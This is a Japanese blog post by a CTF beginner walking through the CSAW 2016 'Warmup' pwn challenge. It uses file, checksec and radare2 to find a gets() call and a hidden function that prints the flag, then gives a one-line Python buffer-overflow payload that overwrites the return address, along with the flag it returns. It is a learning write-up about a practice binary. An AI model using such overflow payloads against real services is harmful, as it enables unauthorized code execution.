読者です 読者をやめる 読者になる 読者になる

1日ひとつだけ強くなる

おべんきょうのーと

CSAW2016: Warmup

はじめに

最近CTFはじめました。 こちらにwriteupをまとめていきたいと思う。 更新頻度上げます。

超初心者なので,復習も兼ねてかなり丁寧に書いていきたい.途中でめんどくさくなるかもしれない

ということでCSAW 2016のpwn50をとりあえず取り組んでみた.最初に自分で考えてみて最近本ばっか読んでてバイナリ読めなくなってる他の方の記事を参考にしながら解いていくことにする.

ちなみに,この記事が初心者にもとっつきやすく,詳しく説明してくれていたので参考にさせていただいた.

CSAW 2016: Warmup | Cybersecurity Club @ FSU

f:id:hal0taso:20161014231117p:plain

50ポイント.baby以下の問題っぽい

$ nc pwn.chal.csaw.io 8000
-Warm Up-
WOW:0x40060d
>Hello!!!

問題のサーバーに接続すると表示されるWOW:0x40060dが気になる.何かのアドレスかな....?
試しにパイプでpython -c "print 'a'*100"とか送ってみたが,表示される謎のアドレスっぽいものは変化しなかった.正直,この時点で詰んでた.

$ file warmup 
warmup: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped

$ checksec --file warmup
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No  0       4   warmup

配布されているバイナリを見てみると,x86_64 ELFバイナリであることがわかる.
当日は無償版のIDA Demoが64bitバイナリを読めないため,途方に暮れていた.

Radare2というリバースエンジニアリング,バイナリ解析のフレームワークを用いて解析してみる.

f:id:hal0taso:20161014234152p:plain

よく見ると,最初に表示されるWOW:0x40060dと同じアドレスにsym.easyがあるのがわかる.
どうやらsym.easyとsym.mainに注目すればよさそうだということがわかってきた.

どんな関数なのか見てみると,

f:id:hal0taso:20161014234555p:plain

これは前述のWriteupを読んで知ったのだが.EDIレジスタは文字列操作などの際に書き込み先のアドレスを示すポインタとして働く.具体的な用途初めて知った.EDIに代入してるcat_flag.txtってのも名前からして大分怪しい.

EDIなどレジスタについては以下のリンクを参考にした.

The Art of Picking Intel Registers

以上より,何か入力を与えてBOFさせ,処理を0x40060dにリダイレクトさせろってことなんだろう.

それを踏まえてこれからmainを見ていくことにする.

f:id:hal0taso:20161015005353p:plain

objdumpで見たときとはえらい違いである.読みやすい.r2しゅごい.

最初にrbpがpushされ,rbpにrspが代入されている.

そのあとrspが0x80分だけ引かれ,スタックが積まれていく.ってな感じでプログラムが進んでいる.

0x0040069eでgetsが呼ばれているが,これはユーザーの入力を受け取る関数である.ここをBOFさせてリターンアアドレスを書き換えてやる.

今積まれているスタックはrbpから0x40バイトで,rbpは64bitなので0x8バイト.つまり0x48バイトの入力値のあとにリターンアドレスを書き換えてあげれば良い.

こんな感じ.

$ python -c "print 'a'*0x48 + '\x0d\x06\x40\x00\x00\x00\x00\x00'" | ./warmup 
-Warm Up-
WOW:0x40060d
>cat: flag.txt: No such file or directory
Segmentation fault (core dumped)

なのでこれを送ってあげれば良い.

$ python -c "print 'a'*0x48 + '\x0d\x06\x40\x00\x00\x00\x00\x00'" | nc pwn.chal.csaw.io 8000
-Warm Up-
WOW:0x40060d
>FLAG{LET_US_BEGIN_CSAW_2016}

最後に

あまりツール群詳しくないので初めてr2を使ったのだが,見やすい.
ドキュメントもあったみたいなので,チュートリアル見ながらうまく使えるようになっていきたい.